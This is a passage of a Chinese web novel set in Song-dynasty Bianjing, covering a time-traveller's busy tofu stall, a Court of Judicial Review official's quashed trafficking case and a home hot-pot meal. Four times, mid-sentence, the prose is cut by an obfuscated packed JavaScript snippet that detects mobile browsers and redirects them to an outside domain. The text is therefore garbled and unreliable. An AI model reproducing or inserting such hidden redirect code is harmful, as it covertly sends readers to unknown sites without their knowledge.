果然一眨眼过去，铁板上的豆腐就没了大半。杨三暗叫不妙，却见那小娘子一伸手，从平头车的夹层里抽出来另外一板豆腐，三两下码好放在了铁板上。 之后便见她左右开弓，一边撒调料、分豆腐、收钱，一边时不时地给新下锅的豆腐翻面，再刷上新的酱料，活脱脱一副三头六臂的模样。 杨三看得咋舌，等轮到他时，这豆腐已经上了第三板。之后便不见那小娘子再从暗格里搬出豆腐来。 他忍不住问：“可是快卖完了？” “客官不必担心。”江知味笑道，“方才我弟妹来过，我已经跟他们说了豆腐不够用，让我娘抓紧做一些续上，估摸着很快就来了。” 后头排队的那些人俱是松了口气。 夜市里灯火晃眼，杨三目力不佳，等她话音落下，才猛地反应过来。这小娘子正是江记豆腐家的二女儿，早些时候刚管他打听过摆摊的事儿呢。 此时他见着，只觉得分外亲切，便开口：“给我来三文钱豆腐。多放茱萸，不要芫荽。” 江知味统统应好，手脚麻利地盛了豆腐递给他：“杨先生慢走，好吃再来。” 杨三闻之，登时喜上眉梢。平日里旁人都唤他神棍，也就这丫头，还有这丫头的弟妹会对她如此客气。 当初为了哄小孩子开心胡诌了一番，没想到误打误撞真有成效。想来他在这家人心中的形象已是十分伟岸。 他心中好不得意，也如方才那肥头郎君那般，大摇大摆地走到了一旁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128021|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟再不从人群中挤出去，他的豆腐就要被一人一口鼻息给吸凉了。 杨三看着碗中的铁板豆腐，迫不及待地伸了筷子下去。 他这份豆腐，停留铁板上的时间略有些长。因此表面的焦皮更厚，一筷子下去，竟没有瞬时将豆腐扎破。 便使了些微力气，将豆腐分成更小的方块，与碗中的葱花和酱汁拌在一块儿，再小口小口地往嘴里送。 初入口的，是相对霸道的孜然味，旋即茱萸粉的辣意跳脱出来，狠狠地在他的口中跃动。饶是杨三这位无辣不欢的，也被江知味自制的茱萸粉，辣得倒抽了一口凉气。 但茱萸辣口不辣心，他很快适应了这种灼舌的感觉。再往里头探去，豆腐本身的清香竟只用了一瞬，就将原先占据主场的调料味道压制了下去。 正因如此，杨三吃完了满满一大碗的豆腐，竟一点儿都没觉得腻味，也不口干，甚至没觉察到五脏庙有丝毫的饱腹感。 而他满心所想，竟是立刻、马上，再去吃上一碗。 杨三立马转身，想再买上一份。谁知方才只排了一列的队伍，如今竟分化成了两列。 周围还有寥寥数个试图插队的食客，被几个婶子和两个虎头虎脑的幼童推搡着，强按进了队伍中。 杨三顿觉再吃无望，却还是不死心，重新站到了队伍末端。果真没过多久，就听见了江知味抱歉的喊声：“今日豆腐不够了，后来的那些客人，还请明日再来吧。” 人群舍不得散开。有人叫着：“我还没吃够呢。” 又有人道：“我还一口没吃上呢。” 一群人争闹不休，惹得街道司维持夜市秩序的兵士都走近来。那群原本还意犹未尽的食客们，看见一身青衫的兵士，顿时没了兴致，哄的一下作鸟兽散。 本以为这事就这么了了，谁知街道司的那几位始终不走。人高马大的五个人，就这么插着手，站在摊子前一言不发，看得江知味浑身难受。 实在忍不住，还是她先开了口：“不知几位官爷有何指教？奴家今日头一回出来摆摊，尽管已经做足了规矩，但难免还有些许错处。奴家先在此处道歉了。” 她低眉福了福身子，再一抬眼，就见面前站着的其中一位兵士靠近了些。 这人个头魁梧，胡子拉碴。长着一张四方脸、关公眉，明显一脸凶相。 只见他抬起手来，先是摸了车子上挂着的“江记小食摊”招子一把，随后忽地俯下身，一头钻进了纸伞下。 怕江知味被官爷欺负，方才帮忙塞人的周婶、冯四娘和王嫂都靠近来，挤挤挨挨凑到了一处。江暖和江晓被吓得满脸惧色，却还是紧贴着她，高扬着头颅。 江知味几近本能地挺身而出，却见凌花侧身一闪到了她跟前：“知姐儿莫怕，娘在呢。” 又一脸虎视眈眈地盯着来人：“不知这位官爷有什么事，我家知姐儿做的小本生意，不曾开罪过人的。” 气氛一时僵持不下。 但见那人目中闪过一丝疑惑，扯着大喇喇的嗓音忽地开了口：“江娘子明日何时出摊？可还会准备今日的铁板豆腐？” 8. 人贩案 江知味一愣，很快反应过来，恢复了常态：“奴家明日天黑便出摊，豆腐的话，自然是有的。” 那人登时展眉一笑，露出八颗雪白大齿：“那我和弟兄们明日早些来。唉，今日没吃上豆腐。我这五脏庙，都饿得咕咕直叫了。” 在场的人面面相觑，随后俱是松了口气。原还以为这官老爷没事找事呢，没想到是闹了一场乌龙。 到这会子，反倒是那位看起来一脸凶相的秦兵士，被他们的虎视眈眈闹得满脸尴尬。许是为了缓和其中关系，他伸手到了江晓的腮边，两指一张，就贴向了那嫩得发颤的腮帮子。 他指尖有茧，且十分粗粝。江晓瞥了一眼他的手，下意识地躲开，还是被他突然的举动吓了一跳，嘴一瘪，哇哇大哭起来。 气氛再一次凝滞了。 秦兵士手足无措，万分愕然道：“我这也没摸着啊。唉，娃娃不哭，不哭啊，阿叔给你买饧吃。” 江晓不理，埋头在凌花怀里，哭得更大声了。 倒是江暖，壮着胆子同他交谈：“阿叔，晓哥儿有饧吃，我也有饧吃吗？” 得了台阶，秦兵士赶紧顺杆爬：“有，都有。明日我来时，给你俩都带上。” 江暖重重点了两下头：“那阿叔，咱们一言为定。” 又伸手出去，同他勾了手指，这才叫现场的尴尬气氛缓和下一些。 秦兵士也晓得不宜再多停留，抱歉地看了江晓一眼，随即掉头跑路。因走得匆忙，上桥时还撞上了一位风尘仆仆赶来的年轻书生。 那书生身边紧随着一名与之年龄相仿的友人，见江知味收摊，悔得直拍大腿：“嗳，我的豆腐。说好的等我寻个人来一道吃呢。” 江知味没想到这人还真折返回来了，低头看了看空荡荡的小食车，无奈柔声劝慰：“今日豆腐备得不多，都卖完了。客官不妨明日带友人早些来，还是同今日一个价钱。” 那人狠叹了一口气，一脸颓然地抱住友人的胳膊，摇摇晃晃地离去了。 等所有客人都走远了，江知味才开始收拾摊子。 宋时的街道司管理严苛，虽也承担部分环卫工人的职责，却要求小摊贩自个儿收拾摊子的卫生，违者同样要处以杖刑。 因此江知味走前，将小摊周边的地面都用水泼过，又管一旁饮子摊的宽婶借来笤帚，将地面卖力地刷洗了一遍。 不过今日凌花和街坊们都在，跟着忙前忙后。洗碗的洗碗、擦车子的擦车子，倒是让她省了不少力气。才至亥时，便将她连人带车，一齐送回了家中。 江知味很是感激：“周婶、王嫂、二狗哥、冯嫂子，今日多谢你们了。就是豆腐准备得太少，招待不周，没叫大家吃个尽兴。” 周婶道：“我们本就是去捧场，谁能想到知姐儿摆摊头一日，生意就这么好，没添麻烦就不错了。况且我们那几份铁板豆腐，你连铜板都没收，扯什么招待周不周的。” “就是。不过那铁板豆腐，真真是好吃绝了。”冯四娘是这些人里头最年轻的，人也最是活泼，“花儿婶擅长做豆腐，知姐儿也擅长做豆腐，你们两母女啊，一先一后，还真是把豆腐给盘活了。” 她这一语双关，把周遭的几人都说笑了。 夜已渐深，街坊们招呼后次第家去，江知味也阖上自家院门，默默打了个哈欠。 凌花已经带两个孩子洗漱完，此刻正躺在竹席上，一边摇蒲扇，一边咿呀唱着童谣，哄他们入睡。 江知味则是点上油灯，坐在小桌边，盘点着今日的营收。 从成本上来说，今日拢共用了半斗黄豆，支出不过二十来文。再加上小葱、芫荽和其他香料，成本最多不过四十文。 但从营业额来看，她今日拢共收获铜板一百五十二枚，净利润大约在一百一十文。这其中，还没算上给邻家叔婶他们免费吃的。 也就是说，若是正常营收，今日的净利润能达到惊人的一百二十文。 江知味对宋史了解得不多。忘了从哪儿看到，宋时汴京普通人家的每日收入在一百文左右。也就是说，她这开张头一日的收入，就超过了当地的平均工资。 可不正是开门红，赚翻了嘛。 江知味暗自窃喜，没敢闹出太大动静，将今日赚来的铜板，裹在布包里仔细收好，就放在床头。等她睡下，随着她的每一次翻身，都能听见铜板撞击发出的叮叮当当响。 这一夜，她做了一个躺在钱山上打滚的梦，心里也跟着踏实极了。 * 天边才翻鱼肚白，沈寻已经坐在大理寺的桌案前。手边那本写着“金明池”“人贩案”的案卷，已经被他翻了无数遍。 五个多月前，他本以为这案子很快就能尘埃落定，没想到由刑部递交给审刑院时，就阻力重重。 过了这么长时间，连偿金都落地了，还没等到最终的判决。 昨日他的上官尹大卿莫名心焦，召集大理寺众官员议事。议至半途，就收到了从审刑院那头传来的消息。 知院事递交的定案文稿，被官家一票否决。 众人当场哗然，这意味着人贩案只能不了了之。而当时送去的偿金，也成了给那些受害百姓的唯一交待。 刘评事当场破口大骂：“撮鸟。我就知道，那幕后之人胆敢在禁军跟前闹出那么大动静，故意推人下水给他的人制造逃跑的时机，摆明着胆大包天，有恃无恐。天杀的，气煞我了。” 尹大卿虽心有不甘，却无法忤逆官家的意思，只道：“刘评事慎言。既然此事已了，大理寺上下对人贩案不得再议。” 刘评事骂人的话语噎在口中，胸膛憋闷得厉害，夜里拉着沈寻，喝了半宿的酒，才缓过一口气来。 但这点酒水，于沈寻而言，不仅没叫他醉倒，反而让他一人清醒了整夜。他的胃疾也因此发作，只好大早起来，啃了两个酸馅包子，这才压下了满腹翻腾的酸水。 此时此刻，沈寻靠在桌案上打盹。 刘廉难得起早，推门看见趴在桌案上，身子薄得像一张纸的沈寻，不免又是一阵叹息。 旁人都觉得沈寻此人风光无两。 家中经商，打小坐拥金山。官家对他的才干又颇为赏识，年纪轻轻，就许他官至五品，还知任上了大理寺少卿，明摆着前途无限，多得是人想要巴结。 可他清楚，沈寻心里苦。 毕竟常人遇上什么事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128022|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以大吃大喝，饮酒作乐，再难过的事情，吃喝一顿也就过去了。可沈寻不一样。 刘廉自太学起便与沈寻是同窗。他的父亲是八品官，因此他即便不是人中之俊异者，也能入太学读书。 作为太学里年龄最小的两个人，沈寻天资聪颖，而他却始终愚钝。因此太学里的娄博士总是拿他和沈寻作比较，抬一贬一，惹得他被其他同窗耻笑。 这事叫他暗中记恨起了沈寻，总和好友钟亦一道，对他施以捉弄。今日扔飞了他的亵裤，明日在他的书页上涂上油墨，诸如此类种种。 但沈寻每回见着，都只报以一笑。既不将此事告知司业与博士，也从不对他声色急厉，好似这些小打小闹，对他没有任何影响。 这让刘廉感到更加羞恼。 他本以为与沈寻的关系会一直这么恶化下去，直到一堂课上，娄博士旧事重演。 沈寻不卑不亢地站到了他身前，掷地有声地同娄博士辩驳：“刘芒苟品性敦良，勤勉于学，虽天资不足，但后天亦非不能补。觅之学孔夫子之道，尚知因材施教，有教无类。娄博士传道授业，却不钻研其中道理。如此贬低门生，实非为人师表之态也。” 一番话把娄博士气得不行，当即告到了孙祭酒那儿。 沈寻也因这事被父亲拎回家中，关了三日的禁闭。等回到太学时，瞧着比先前更为苍白清瘦了。 刘廉当即携钟亦向沈寻道歉。 三人从此成为了密不可分的好友，沈寻没有味觉这事儿，也成为了他们三人之间的秘密。直至沈寻前脚考上进士，远赴蜀地任一方父母官，钟亦后脚赴任苏州，独留刘廉一人在汴京。 后来沈寻在外十年任期满，得以升迁回京。刘廉第一个为他接风洗尘，得知他同样知任大理寺，更是喜出望外。 两人本欲在大理寺大展宏图，没想到第一个案子就碰上了审刑院的一票否决。之后一而再再而三，都是同样。 上有巨峰不可逾越，沈寻每回都做无用功，为此相当受挫。 他见多了民生疾苦，却始终无能为力，渐渐没了初返汴京时候的意气风发。他的日常，也从扎根在大理寺中，变成了钓鱼、遛鸟，活脱脱把自己养成了一个闲官。 那日去那受害者家中，也是沈寻提醒，叫他多说些难听的话，好叫他们不再对大理寺心怀期许。毕竟他比谁都清楚，期望落空是一件多么令人神伤的事。 想到这里，刘廉再一次暗叹了一口气。 天子脚下，有些事也不是他们想想，就能随之改变的。皇权摆在那儿，制度立在那儿，沈寻不过小小绯袍，有何能耐去撼天。 刘廉不忍打扰沈寻休息，蹑手蹑脚地转身离去，却没见，身后的沈寻在桌案下睁开了眼。 他揉了揉酸涩的眼睛，起身将案卷收纳于木匣中。又对着木匣沉吟良久，默默合上了盖子，将其归置于悬案柜中。 这日，他同尹大卿告假，带着小苑里爱说吉祥话的八哥鸟，在蔡河畔钓了一整日的鱼，一直到日头西沉。 而另一头的江知味，也备好了今日摆摊的一应所需。拉着平头车到桥边时，已有不少食客人手一杯香饮子，在老地方扎堆等了。 9. 摆摊秘诀 宽婶平日里哪里见过这种盛景。 她家饮子摊的生意一直不温不火，亏得沾了江娘子的光，天才刚黑，就卖出去了大半。 只可惜这盛况没持续多久，便听得人群中有人高喊了一声：“铁板豆腐来了”。 哗的一下，人流便散开了。宽婶顿觉四下里的空气都清新了，但她这摊子，顿时也显得冷清了。 江知味着实低估了汴京人氏对于美食的热情。好在有了昨日的经验，今日她出门时候，便带上了五板豆腐，都藏在平头车的夹层里。 还叫凌花那边继续做着，像昨日那样隔一阵子送来。毕竟如今还在八月上旬，秋老虎依旧持续发威。豆腐易酸腐放不住，还是现做现卖最是稳妥。 江知味刚把车子放稳，就见到了首当其冲的秦兵士。他仗着自己人高马大，一下站在了队伍的最前头。 秦兵士今日没穿街道司的青衫制服，改穿了一身乌色直裰，还在耳边簪了一朵纸糊的藕粉色像生花，与他的模样瞧着十分不般配。 江知味知晓宋朝的男人喜好簪花，但着实没想到长得这么牛爷爷的秦兵士，也有这种雅兴。 才笑着打了招呼，就见他笑眯眯地从身后拿出两根稠饧来，左一根右一根，分别递给了两个双胞胎：“阿叔我是不是说到做到。” 江暖举着稠饧，欢呼雀跃。江晓则一脸严肃，扭头将江暖和江知味挨个看了一遍，这才颤抖着小手，从秦兵士手里接过插着稠饧的小棍。 舔了一口后，又操着一双略带惊恐的眼睛看着他，补上一句：“谢谢阿叔。” 秦兵士的整张皱脸都因此松弛下来，十分豪气地从怀里摸出十五个铜钱来：“江娘子，给我来五个大份豆腐，多放茱萸，葱和芫荽都要。” 他这话一出，后头排队的那些人都忍不住伸长脖子，往江知味的小车上看去。 一铁板的豆腐也才二十块啊，他一下子就买去了一半。这种不良风气要是给其他人学去，后面的人能不能吃上还另说呢。 江知味也发现了这个漏洞。果然没过多久，她就听见不远处有人在喊：“小食摊一文钱代排，多买多实惠。” 嘿，黄牛都出来了。真要给他插了进来，后头那些排队的散客不都得乱套。 正当江知味纠结于怎么处理这位黄牛时，一旁已经吃完豆腐的秦兵士带着他的弟兄们来了。 他把外头那件直裰一脱，就露出了里头街道司的专属青衫，只往路中间那么一站，方才还喊得振振有词的黄牛，顿时哑口不说话了。 小插曲一过，江记小食摊跟前的秩序又恢复了。 那位昨日没赶上趟的书生，今日总算带着友人吃上了一大份铁板豆腐。 江知味用余光瞥去，只见两人争相举箸，为碗里的最后一块铁板豆腐花落谁家而争论不休。而后两人猜拳决定，由那书生吃下最后一口。 之后便见他一脸餍足，捧着陶碗，连碗里剩下的零星汤汁都舔了个干净。 江记小食摊的热度，随着食客们的热情水涨船高。江知味忙得一身大汗，身上的一件薄衫，几乎湿了个里外通透。 凌花那头也是忙得不可开交，那石磨磨得都在黑夜里起火星子了，终于紧赶慢赶，又做出一批豆腐来。 待她气喘吁吁地将豆腐送来，江知味正好将五板豆腐用完。母女俩配合完美，江知味冲凌花一笑，没空多耽搁，转头继续招呼起客人来。 至收摊时，已快到三更天。 两小只已经随凌花回家睡下。江知味一如昨日那般拾掇好摊子周边的卫生，环顾四周，边上不少摊子都已经陆续散了。 正当她打算撤了轮边垫脚的石头，也随大部队折返回家时，忽地被什么人喊住了：“江娘子。” 江知味循声看去，喊她的是位中年妇人。 那人以布条缠发，身着一件打满补丁的粗布短衫。灯火之下，她面颊的凹陷处黑影幢幢，整个人瞧着异常瘦削。 此时她一脸扭捏，绞着双手站在江知味身后。 “宽婶啊，怎么了这是？” 宽婶凑得近了些，眼神扑闪，不敢同她对视：“江娘子，我能不能问你个事情？” 江知味笑了：“当然可以啊。您想问什么？” “江娘子才出来摆摊两日，生意就如此火热。而我呢，在这桥上摆了差不多一年，却一直做得不温不火。我想问问江娘子，有没有什么能让生意变好的秘诀？” 江知味愣了一瞬。 宽婶立马摆手：“我知道这样问有些冒昧，我也不是想抢娘子的生意，就是，就是……” 她“就是”了半天，也没“就是”个所以然来。反倒涨红了脸，绞在身前的双手，也跟着箍得更紧了些。 江知味向前一步，本欲安抚一番。谁知手刚抬起，就见宽婶瑟缩着脖子，眯起眼睛将脸扭转到了另一侧。 身侧的灯火“哔啵”一声响，竟将她整个人吓得跳了起来。 这反应……江知味退后，与她保持了一米的距离，这才让惊弓之鸟一般的宽婶，稍稍安定下来。 想起还没回答她方才提的问题，江知味道：“要想生意好，其实很简单，只要记着一句话就够了。” 她狡黠一笑：“人无我有，人有我优，人优我特。” 宽婶没听明白，仰起脸，眨了两下眼。 江知味同她解释：“就比如我卖的铁板豆腐。豆腐此物，看起来遍地里皆有之，但独独我家的做法最与众不同，占的就是‘人无我有’这句。” “再说那十文钱三样的日用品摊子。虽然坐地起价这做法令人不齿，但我路过时候留意了，那些小物件做工都不赖。就算人家挑拣完了被告知实价，大多也会选择为其买单。因此那位摊主，占的就是‘人有我优’这句，生意也不赖。” “至于‘人优我特’。你想想汴京城里正店酒家无数，为何就那樊楼，能做得最为生意红火、人尽皆知。可见人家是优中选优，占的就是那个‘特’字。这是后话了，咱们摆小摊的，能做到第一点和第二点，基本就已经赢了。” “宽婶，您想想，您的饮子摊，可有什么地方与他人不同？” 宽婶蹙了下眉：“倒是……没什么不同。饮子摊上的方子大多相近，口味也没甚大差。” “那这问题不就找到了么。全汴京的饮子摊这么多，相当于大家做的都是同一门营生。左右没什么差别，不在张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128023|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家喝，还能在李家喝。如此这般，自然留不下回头客。” 宽婶听着，又犯起了难：“可光是‘人无我有’这一点，我就做不到啊。汴京城里流转的饮子方子就那么些，我自个儿吧，又想不出什么新花样来。” 江知味顿了顿：“您若信得过我，便听我一言。我有一个法子，保准让您的生意远胜从前。” 月光清冷，横桥子上行人渐稀，只余下桥下两人的窸窣碎语。 * 因昨夜里五更天才回，江知味困得不行，睡到了临近午时才起。 母亲凌花已经卖完今晨的豆腐歇下，正坐在院子里，替江暖和江晓搓澡。 今日天气格外炎热，凌花早起晒了两大盆井水，又往里头添了半盆枸杞菜水，此刻兑得匀匀的，将两个孩子浸泡在其中。 见她起了，凌花笑道：“过两日就是秋社日了。你大姐姐捎人来了信，说要带琪哥儿回娘家来坐坐。我就想着先给俩孩子洗洗，免得他俩到时臭烘烘的，被你大姐姐嫌弃。” “大姐姐？” 江知味对大姐江眠的印象几乎空白。大姐姐出嫁已经三年，与她归家的时间完全错开。 只记得她刚到汴京那会子，江大找人递了封信给她，要她抽时间回娘家与妹妹见见。她却回信说在夫家侍候公婆多有不便，没空回这趟娘家，之后就再没来过信了。 想到这里，江知味总觉得哪儿不对劲：“娘，爹爹病后，大姐姐可曾递过信，或是回来探望过？” “没有。你大姐姐那是高嫁，富贵人家规矩多，不能像咱们这般胡来的。再说她也不识字，写信递信还得出门找人代笔，一时半会儿抽不出身，也正常。” 对于宋时的女子而言，不回娘家许是常事。 但哪有自家爹爹和妹妹双双病倒，身为家中大姐却不闻不问的道理。这婆家当真严苛至此，连她的人身自由都受到了限制？ 江知味越想，越往阴谋主义那方向代入。再看凌花和两小只，都沉浸在江眠要归家的喜悦中，一点儿没察觉此间异常。 江暖甚至主动举起胳膊，帮她娘亲扒开自己腕骨处的肉丨缝，脆声道：“娘，搓这里，脚丫子也搓搓。我要洗得香香的，好迎接大姐姐。” 凌花往她脸上也淋了些水，捧着脸蛋子小心地揉搓起来：“别急嘛，咱们从头开始慢慢洗，保准给你洗得又白又香。” 见她们玩得起劲，江知味收起疑虑，只当自己是现代人的疑心病犯了，岔了个话题：“娘，你们可吃过朝食了？” “吃过了。暖姐儿和晓哥儿一早拿了铜板，去桥上集市买了烤菜包子吃。这会子还饱着呢。” 说起铜板，江知味想起昨夜里的营收还没数呢。既然都不饿，索性她也先喝两口水垫垫，晚些再做午食吃。 这般想着，她起身往房里走。 不数不知道，就昨日一晚，竟得了四百二十枚铜板，比前日翻了一番多。这要是再卖一晚上，得来的铜板，都能串成一贯了。 泼天的富贵啊！ 当然，富贵是小，吃饭是大。 江知味傻笑了一阵，没让自己沉浸在数钱的喜悦中多久，便围上围裙，做起了老本行。 10. 贵州清水烫 今早她没有上集，却在灶房的房梁上，见着垂挂着的老大一块猪梅子肉。 还有一大捆用红绳扎着的荷叶包，打开来是一水儿皮白肉嫩的鸡头米，是煮熟了的，还带一股淡淡的麝香味。 朝一旁看去，灶台边的竹篓里，另放着葵菜、冬瓜、豌豆尖、大葱、生姜，都水头十足，瞧着新鲜饱满极了，一看就是今早上刚采买的。 另外那米缸瞧着也不对。缸盖歪着，打开来一看，里头添了许多新米，装得整个缸子都快满溢出来了。 甚至连原本在平头车上放着的油盐酱醋和各类干料罐子，也都次列摆在灶台边的长凳上，填得满满当当。 凌花的声音从院子里传来：“近日豆腐和腐竹卖得不错，我就拿那些钱去添了些菜蔬和佐料。那鸡头米是你周婶买的，说是今早上路过梁门李和家，多少人在门前抢破了头，她也去凑了凑热闹。结果回来一看，买得太多了，我就用两斤豆腐，同她换了一包来。至于那缸子米，是你刘大哥买的。” 江知味疑惑：“刘大哥给咱买了整缸的稻米做什么，这可得不少钱吧？” “双儿不是害喜么，那日吃了你做的酸菜鱼，回去后再吃他做的吃食，总觉得和猪圈里的潲水没差。前日没去夜市上捧你的场，也是因着闻不了旁人的油膻味。” “我就想着，要不以后你不忙的时候，就叫她来咱家吃饭，省得你刘大哥在郊外鱼塘整日不安心，还得两头跑。刚应下呢，就见他扛了一麻袋米来，说给钱生分，又不能白吃咱家的。我想那行吧，就给收下了。” 末了凌花不放心：“知姐儿，你不会怪娘擅作主张了吧？” 江知味笑道：“那有什么，多双筷子的事。” 这事儿对她而言实没难度，不过刘庆年家里是怎么回事。按说他这个年纪，上头应该还有长辈在世，怎么就成他一个人边工作边照顾妻子了。 江知味便将疑问说了。 凌花道：“我今早也问了。这才知道，庆年打小就是个孤儿。无父无母的，全靠自己一身力气过活。双儿呢，家里做的刺绣生意，两人条件差得不是一星半点。所以双儿家里不乐意他俩在一起。” 一听这话，江知味的八卦之心熊熊燃起：“那那个孩子？” “是双儿的意思。” 江知味眉头一蹙，压低了声音：“是容嫂子靠生米煮成熟饭，硬嫁给了刘大哥？！” 凌花点了点头。她这边刚搓完江暖，这会儿操着一条破了洞的帕巾，使劲儿地在江晓身上游走。 因聊得兴起，全然不见江晓被她搓得双眼含泪：“娘，我屁股疼。” 凌花一看，哟，肥嘟嘟的屁股蛋子都被她搓红了。却没停手，只往上头猛拍了清脆的一巴掌：“男娃娃要勇敢，这点苦头都吃不得，日后有你受的。” 江晓只能默默咽下眼泪，咬着牙，任凭凌花给他搓了个全身通红。 等俩孩子都被搓得跟琉璃娃娃似的透亮，江知味在灶房的准备工作也做得差不多了。 今日要做的吃食工序简单，其中之关键，便是蘸水的调配。 为了尽可能复刻蘸水的灵魂“糊辣椒”，江知味在锅中放入适量的盐，借高温将其炒烫。之后放入晒好的干茱萸，一直炒到表皮焦糊，捞出来放在碗中。 干茱萸冷却后变得焦脆。此时便将其放在臼子中捣成大小均匀的颗粒，便可以倒入干燥的罐子里封存起来了。 之后在碗中搁入芫荽、葱末、蒜末，和适量的盐、酱和糖，再依个人口水，加入少许糊茱萸，能将蘸水的味道复刻到后世风味的十之七八。 江知味尝过后甚是满意，便到墙边，大吼了一声：“容嫂子，吃饭了。” 容双款款而至，推开门时，江知味正费劲地从江州车里抽出一个炉子来，又将铁锅从灶房里搬出来，统统放在院子里的阴凉处。 此时她已是大汗淋漓。 今日这天热得太过，吃那些荤腻杂烩的就不合适了。倒不如清清爽爽地来一顿“贵州清水烫”，保准能配下去两大碗米饭。 身旁的容双一脸迷惑，望着空荡的铁锅：“方才我分明听见了知姐儿喊吃饭，难不成是我头还昏着，听岔了？” “倒不是。”江知味又从灶房端了蘸水和洗好的菜蔬出来，“容嫂子坐，马上就能吃了。” 菜蔬和肉片，都各自摆盘过，像垒起的砖墙那般立在碗中。 江知味点燃炉灶，在锅中下了一块猪油。 这猪油是她昨日特意熬的。头一日赚的那些铜板，大多拿来买猪板油了。她做菜喜欢放猪油，要不是铁板豆腐需得控制成本，她甚至想在小摊上都用上猪油。 毕竟猪油吃起来可太香了。尤其是放猪油里炒过的空心菜和卷心菜，添点儿爆香的蒜瓣，她一个人能吃下去一大盘。 等锅热油化，江知味添了大半锅水下去，又依次放入大葱和姜片，还有少量的盐和糖，为的是去除猪肉里的腥膻味。 江知味也是穿越以后才知道，宋时的猪肉价贱，口感却不算差，更没有传闻中那种腌进肉里，怎么都难以去除的猪骚味。 只因宋时有一行当，名曰劁猪匠。靠着一副担子一把刀，所到之处，片蛋不留。 据说这门劁猪的技艺发于东汉，传闻是得了华佗外科手术的真传。 更有传闻，说劁猪与阉人异曲同工。毕竟古人老早就会阉人当太监了，怎么可能会省下这份仁慈，用在被当作食物的猪猪身上。 因此这几回买的猪肉都还不错，肉质饱满又鲜嫩，做出来的猪油也是香飘万里。剩下来的猪油渣，把周婶家的二丫，还有李二狗家的羊仔和虎妞都馋哭了。 想起昨日孩子们为争一口猪油渣哭得稀里哗啦的场景，江知味不禁笑出了声。 正巧这时锅里的水也沸了。 江知味敛下笑意，放入各类菜蔬和切得薄薄的猪梅子肉片。凌花也从灶房，端了米饭来。 今日煮的是纯稻米饭。江知味特意没放在饭甑里蒸，而是将其放在铁锅中焖熟。这样铲下来的米饭带着厚厚一层柴火锅巴，无论是单吃还是和稻米饭拌在一起，都格外焦脆。 很快锅里的菜蔬和肉片都煮熟。江知味舀出汤水，将几人的蘸水都兑好。 按说吃贵州清水烫前，要先喝一碗热乎乎的清汤。可在后世那会儿，江知味发现，只有在贵州当地吃的清水烫，才能保留瓜果蔬菜原始的清甜味。 但凡换了个地方，哪怕同样放的是当季的瓜果，都不是同一种味道。 后来听外婆说，一方水土不仅养一方人，还养了一方脆爽甘甜的瓜果。离了贵州，就等于离了那方水土，也叫那些瓜果离了根，自然失去了当地的风味。 因此她便没有在吃清水烫之前，先喝一碗甜汤的习惯了。而是直接夹了里头的豌豆尖，在蘸水里涮了涮，送进了嘴里。 口中瞬时被蘸水的糊茱萸香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128024|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气包裹，叫人一时无法去分辨其他。之后辣劲减缓，舌尖旋即触及了鲜嫩的豌豆尖，一口咬下，几乎不带什么纤维感。 再取冬瓜和葵菜食之。冬瓜汁水饱满，与糊茱萸的味道在齿间交融，甜中带辣，口口生津。至于葵菜…… 江知味在后世只吃过一次葵菜。这东西因产量低且不易存储，在明清时期被白菜取缔，退出了百姓的餐桌。发展到21世纪时，已经相当不常见了。 但在宋时，它被誉为百菜之王，连《黄帝内经》中都有葵菜的记载。 江知味已经不记得它在后世的味道了。如今只觉得它的纤维条较其他菜蔬更为粗硬，尤其是叶片部分，口感略有些粗糙。 但其嫩茎却爽滑非常，带着些许黏稠的汁水，配上劲爽的糊茱萸蘸水，能一下子吃进去许多。 到这会儿，江知味还没开始吃肉，就已经配下去了半碗米饭。 一旁容双卷起袖子，一点儿不怕辣似的，竟将蘸水扒了些许到饭碗中。碗中红澄澄的一片，容双将糊茱萸同米饭搅匀了，又另蘸了裹满蘸水的肉片和菜蔬，统统盖到了饭上。 之后便没了初进门时候的柔柔弱弱，举着筷子在碗里飞快地扫动，吃得那叫一个狼吞虎咽。 